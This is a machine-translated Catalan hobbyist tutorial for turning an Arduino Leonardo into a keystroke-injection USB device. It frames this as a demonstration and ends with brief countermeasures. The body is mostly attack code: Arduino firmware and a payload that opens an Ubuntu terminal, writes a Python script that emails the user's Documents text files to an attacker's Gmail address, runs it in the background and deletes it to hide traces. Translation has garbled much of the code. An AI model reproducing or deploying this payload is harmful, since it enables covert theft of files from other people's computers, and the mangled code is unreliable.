Demostració i prevenció de l'explotació del teclat Arduino (HID): 4 passos (amb imatges)

2024 Autora: John Day | [email protected]. Última modificació: 2024-01-30 08:15

En aquest projecte utilitzarem un arduino leonardo per simular un possible atac USB mitjançant HID (dispositiu d'interfície humain).

He creat aquest tutorial no per ajudar els pirates informàtics, sinó per mostrar-vos alguns perills reals i com protegir-vos d’aquests perills. Aquest dispositiu no és un dispositiu que es pugui utilitzar en cap plataforma per a pirates informàtics, és més aviat una prova de concepte detallada.

Aprendrem el següent:

- com utilitzar arduino leonardo per emular el teclat

- com llegir les dades de les targetes SD

- Com crear un script Python que escaneja fitxers i els envia per correu electrònic

- com protegir-se dels dispositius de pirateria USB

Pas 1: materials

Parts:

1. Arduino leonardo

2. lector de targetes micro USB

3. una targeta SD de pocs GB

4. polsador com aquest (VCC, terra i senyal)

5. cables de pont femella-mascle i femella-femella

6. cable micro USB a USB

Pas 2: crear el dispositiu

Abans de la instrucció de construcció, revisem el principi de funcionament:

Arduino Leonardo es pot comportar com un dispositiu d’interfície humana (HID) i, per tant, pot emular el ratolí i el teclat. Utilitzarem aquesta característica per obrir un terminal (a UBUNTU linux) i escriure un petit script que accedirà a la carpeta / Documents de la carpeta inicial de l'usuari i hi copiarà els fitxers.txt i els enviarà per correu electrònic a algú. Si voleu obtenir més informació, consulteu el següent pas.

Com que és un dispositiu de demostració, les coses són realment senzilles, no anem a soldar res.

Instruccions de construcció

Abans de començar, comproveu els fitxers adjunts, he adjuntat esquemes fritzing i tots els fitxers necessaris

1. Muntar els components:

* endolleu el cable micro USB a l’arduino

* connecteu el commutador de tecles a l'arduino (terra, vcc i mòdul de sortida a D8)

* connecteu el lector de targetes a l'arduino (mitjançant la capçalera ICSP). Arduino Leonardo no té la capçalera ICSP connectada a pins digitals, de manera que haureu de connectar el lector de targetes a la capçalera ICSP. Podeu trobar alguns dibuixos de l’ICSP aquí: https://learn.sparkfun.com/tutorials/installing-an…. Connecteu el pin SS al pin digital 10

2. obtingueu el codi arduino, podeu clonar el meu dipòsit arduino a github: https://github.com/danionescu0/arduino i anar a projects / keyboard_exploit o obtenir-lo des de sota:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Dormir::"; String commandStartingPoint = "Ordre::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("La targeta ha fallat o no està present!"); tornar; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Carregat!"); retard (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (nom_fitxerCard); if (! dataFile) {Serial.println ("El nom del fitxer especificat no està present a la targeta SD, comproveu el nom del fitxerOnCard!"); } Línia de cadena; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (línia); sendToKeyboard (línia); } dataFile.close (); } void sendToKeyboard (String line) {String WorkingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); tornar; } if (WorkingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (línia); Keyboard.println (línia); pressEnter (); tornar; } Serial.println ("Ordre:"); int charPosition = commandStartingPoint.length (); int LineLength = line.length (); Línia de treball + = ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (WorkingLine); int specialCommandDelimiterPosition = WorkingLine.indexOf (","); Ordre de cadena = WorkingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Comanda trobada:"); Serial.println (command); Keyboard.press (getCommandCode (ordre)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Dormint durant:"); Serial.println (sleepAmount); demora (sleepAmount); } char getCommandCode (text de cadena) {char textCharacters [2]; text.toCharArray (textCharacters, 2); codi de caràcters = textCharacters [0]; codi = (text == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: codi; codi = (text == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: codi; codi = (text == "KEY_LEFT_ALT")? KEY_LEFT_ALT: codi; codi = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: codi; codi = (text == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: codi; codi = (text == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: codi; codi = (text == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: codi; codi = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: codi; codi = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: codi; codi = (text == "KEY_TAB")? KEY_TAB: codi; codi = (text == "KEY_RETURN")? KEY_RETURN: codi; codi = (text == "KEY_ESC")? KEY_ESC: codi; codi = (text == "KEY_INSERT")? KEY_INSERT: codi; codi = (text == "KEY_DELETE")? KEY_DELETE: codi; codi = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: codi; codi = (text == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: codi; codi = (text == "KEY_HOME")? KEY_HOME: codi; codi = (text == "KEY_END")? KEY_END: codi; codi = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: codi; codi = (text == "KEY_F1")? KEY_F1: codi; codi = (text == "KEY_F2")? KEY_F2: codi; codi = (text == "KEY_F3")? KEY_F3: codi; codi = (text == "KEY_F4")? KEY_F4: codi; codi = (text == "KEY_F5")? KEY_F5: codi; codi = (text == "KEY_F6")? KEY_F6: codi; codi = (text == "KEY_F7")? KEY_F7: codi; codi = (text == "KEY_F8")? KEY_F8: codi; codi = (text == "KEY_F9")? KEY_F9: codi; codi = (text == "KEY_F10")? KEY_F10: codi; codi = (text == "KEY_F11")? KEY_F1: codi; codi = (text == "KEY_F12")? KEY_F2: codi;

codi de devolució;

}

3. Pengeu el codi a l'arduino, assegureu-vos de seleccionar 9600 baud rate, el port sèrie i arduino leonardo

4. Formateu la targeta SD mitjançant FAT16 o FAT32

5. Si heu clonat el repositori github des de dalt, copieu el fitxer hack.txt a la targeta, si no, el fitxer es mostra a continuació:

Ordre:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. MIMEText import MIMEText from email. Utils import COMMASPACE, format date from email mail Codificadors

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Documents'

subject = body = 'Arxius de l'ordinador piratejat'

header = 'To: {0} nDe: {1} nAssumpte: {2} n'.format (to_address, smtp_user, subject)

send sendMail (a, assumpte, text, fitxers = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdata (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (text)) per al fitxer als fitxers: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = "% s"'% os.path.basename (file)) msg.attach (part)

servidor = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0} / {1} / *. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Editeu les línies següents:

smtp_user = 'remitent_email_addr'

smtp_pass = 'sender_password' to_address = 'destinatari_adreça'

I substituïu-les per les vostres adreces de correu electrònic

7. Traieu la targeta i introduïu-la al lector de targetes arduino

Pas 3: Com funciona en detalls

Com funcionarà l'atac:

1. Quan es prem el botó, Leonardo llegirà la targeta SD mitjançant un lector de targetes SD. Hi haurà un fitxer especial amb claus i combinació de tecles a la targeta. El nom del fitxer és "hack.txt".

El fitxer pot contenir text en brut i es passarà al teclat tal com està.

També pot contenir ordres especials com "Sleep::" i "Command::".

Una línia com:

Dormir: 200 significa una son de 200 ms

Una línia com:

Ordre:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t significa ctrl esquerre premut, alt esquerra premut, t premut i alliberat

Podeu consultar totes les claus especials aquí:

2. Leonardo llegirà línia per línia i interpretarà les ordres i emularà les tecles del teclat. El fitxer "hack.txt" conté una combinació de claus que fa el següent (per a UBUNTU linux):

a. obre un terminal (CTRL + ALT + T)

b. obre un fitxer python per a la seva creació mitjançant vi (escriu "vi hack.py"

c. escriu un script Python dins que recopila tots els fitxers de text dins de la carpeta inicial dels documents i els envia a una adreça de Gmail especificada

d. executa el fitxer al fons ("nohup python hack.py &")

e. suprimeix el fitxer (rm -rf hack.py)

f. tanca el terminal (ALT + F4)

Tot això funciona en pocs segons i no deixa rastre.

Millores i resolució de problemes

* És possible que noteu que després d'obrir un terminal estic escrivint el fitxer python. una millor manera d’aconseguir-ho serà allotjar-lo en algun lloc i descarregar-lo mitjançant l’ordre "wget some_url" i, a continuació, canviar el nom a hack.py

* També podem descarregar o executar un exploit fet per al sistema operatiu destinat

* El wifi es pot afegir al mòdul i els hacks es poden carregar mitjançant WIFI

* Podeu utilitzar micro arduino (que és molt més petit) i incrustar-hi codi d'explotació (per fer-lo més petit)

Limitacions

1. Com que el dispositiu simulat (teclat i ratolí) no té comentaris, no sabem què passarà després d'emetre una ordre que significa que hem d'utilitzar retards. Per exemple, emeto una ordre per obrir el terminal, però no sé quan s'obrirà realment, així que he d'especificar un retard arbitrari per assegurar-me que no es perdin els caràcters que s'han escrit després.

2. És possible que tinguem problemes de permís com ara no tenir accés al port USB o el permís per instal·lar alguna cosa

3. La velocitat d'escriptura no és tan bona a Leonardo

4. Funcionarà només amb un sistema operatiu específic (en el nostre cas UBUNTU Linux)

En el següent pas intentarem trobar maneres d'explotar aquestes limitacions per evitar que el nostre equip sigui piratejat

Pas 4: contramedides

1. Desactivació dels ports USB

- per a Windows podeu consultar aquest tutorial:

2. Dispositius USB de la llista blanca:

- per a Windows:

2. Bloqueja l’ordinador quan no estiguis fora

3. No inicieu la sessió com a root (requereu contrasenyes per instal·lar res)

4. Mantingueu-vos al dia (actualitzacions automàtiques activades)